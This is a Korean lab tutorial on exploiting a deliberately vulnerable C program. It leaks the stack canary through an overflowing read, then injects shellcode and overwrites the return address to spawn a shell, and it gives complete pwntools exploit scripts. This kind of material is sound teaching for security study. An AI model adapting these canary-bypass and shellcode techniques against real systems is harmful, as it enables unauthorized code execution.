이번 장에서는 카나리를 우회하고 쉘 코드와 return address overwrite
을 이용하여 쉘을 획득하는 실습을 할 것이다.
사용할 예제코드는 다음과 같다.
// Name: r2s.c
// Compile: gcc -o r2s r2s.c -zexecstack
#include <stdio.h>
#include <unistd.h>
int main() {
char buf[0x50];
printf("Address of the buf: %p\n", buf);
printf("Distance between buf and $rbp: %ld\n",
(char*)__builtin_frame_address(0) - buf);
printf("[1] Leak the canary\n");
printf("Input: ");
fflush(stdout);
read(0, buf, 0x100);
printf("Your input is '%s'\n", buf);
puts("[2] Overwrite the return address");
printf("Input: ");
fflush(stdout);
gets(buf);
return 0;
}
리눅스에는 다양한 바이너리 보호기법이 존재한다.
적용된 보호기법에 따라 익스플로잇 설계가 달라지므로, 분석을 시도하기 전에 먼저 적용된 보호기법을 파악하는 것이 좋다.
pwntools
을 설치할 때 같이 설치되는 checksec
툴을 사용하여 보호기법을 파악할 수 있다.
해당 바이너리에 canary
가 설정되어 있는 것을 확인할 수 있다.
해당 예제에서는 실습의 편의를 위해 buf
의 주소 및 rbp
와 buf
사이의 주소 차이를 알려준다.
printf("Address of the buf: %p\n", buf);
// buf 의 주소 출력
printf("Distance between buf and $rbp: %ld\n",
(char*)__builtin_frame_address(0) - buf);
// rbp 와 buf 의 주소 차이 출력
코드를 살펴보면 스택 버퍼인 buf
에 총 두번의 입력을 받는데, 해당 두 코드에서 모두 오버플로우가 발생한다는 것을 알 수 있다.
read(0, buf, 0x100);
gets(buf);
이 취약점을 이용하여 쉘을 획득해야 한다.
두 번째 입력으로 반환 주소를 덮을 수 있지만, 카나리가 조작되면 __stack_chk_fail
함수에 의해 프로그램이 강제 종료된다.
그러므로 첫 번째 입력에서 카나리를 먼저 구하고, 이를 두 번째 입력에 사용해야 한다.
첫 번째 입력의 바로 뒤에서 buf 를 문자열로 출력해주기 때문에, buf 에 적절한 오버플로우를 발생시키면 카나리 값을 구할 수 있다.
read(0, buf, 0x100); // Fill buf until it meets canary
printf("Your input is '%s'\n", buf);
카나리를 구했으면, 이제 두 번째 입력으로 반환 주소를 덮을 수 있다. 쉘을 획득하는 코드를 buf 에 직접 주입하고, 해당 주소로 실행 흐름을 옮기면 쉘을 획득할 수 있을 것이다.
스택을 이용하여 공격할 것이므로, 스택 프레임의 구조를 먼저 파악해야 한다.
스택 프레임에서 buf
위치를 보여주므로, 이를 적절히 파싱할 수 있으면 된다.
아래는 pwntools
을 사용한 파이썬 코드이다.
from pwn import *
def slog(n, m): return success(": ".join([n, hex(m)]))
p = process("./r2s")
context.arch = "amd64"
# [1] Get information about buf
p.recvuntil("buf: ")
buf = int(p.recvline()[:-1], 16)
slog("Address of buf", buf)
p.recvuntil("$rbp: ")
buf2sfp = int(p.recvline().split()[0])
buf2cnry = buf2sfp - 8
slog("buf <=> sfp", buf2sfp)
slog("buf <=> canary", buf2cnry)
스택 프레임에 대한 정보를 수집했으므로, 이를 활용하여 카나리를 구해야 한다.
buf 와 카나리 사이를 임의의 값으로 채우면, 프로그램에서 buf 를 출력할 때 카나리가 같이 출력될 것이다.
아래는 카나리 릭을 위한 파이썬 코드이다.
# [2] Leak canary value
payload = b"A"*(buf2cnry + 1) # (+1) because of the first null-byte
p.sendafter("Input:", payload)
p.recvuntil(payload)
cnry = u64(b"\x00"+p.recvn(7))
slog("Canary", cnry)
카나리를 구했으므로, 이제 buf에 셀코드를 주입하고, 카나리를 구한 값으로 덮은 뒤, 반환 주소(RET) 를 buf 로 덮으면 쉘코드가 실행되게 할 수 있다.
전체 익스플로잇 코드는 다음과 같다
from pwn import *
p = process("./r2s")
context.arch = "amd64"
def slog(name, addr):
return success(": ".join([name, hex(addr)]))
p.recvuntil(b"buf: ")
buf = int(p.recvline()[:-1], 16)
slog("buf", buf)
p.recvuntil(b"rbp: ")
buf2rbp = int(p.recvline().split()[0])
buf2canary = buf2rbp - 8
slog("buf <=> rbp", buf2rbp)
slog("buf <=> canary", buf2canary)
payload = b''
payload += b'A'*(buf2canary+1)
p.sendafter(b"Input:", payload)
p.recvuntil(payload)
canary = u64(b"\x00" + p.recvn(7))
slog("canary", canary)
sh = shellcraft.sh()
sh = asm(sh)
payload = b''
payload += sh
payload += b"\x90"*(buf2canary-len(sh))
payload += p64(canary)
payload += b"A"*8
payload += p64(buf)
p.sendlineafter("Input: ", payload)
p.interactive()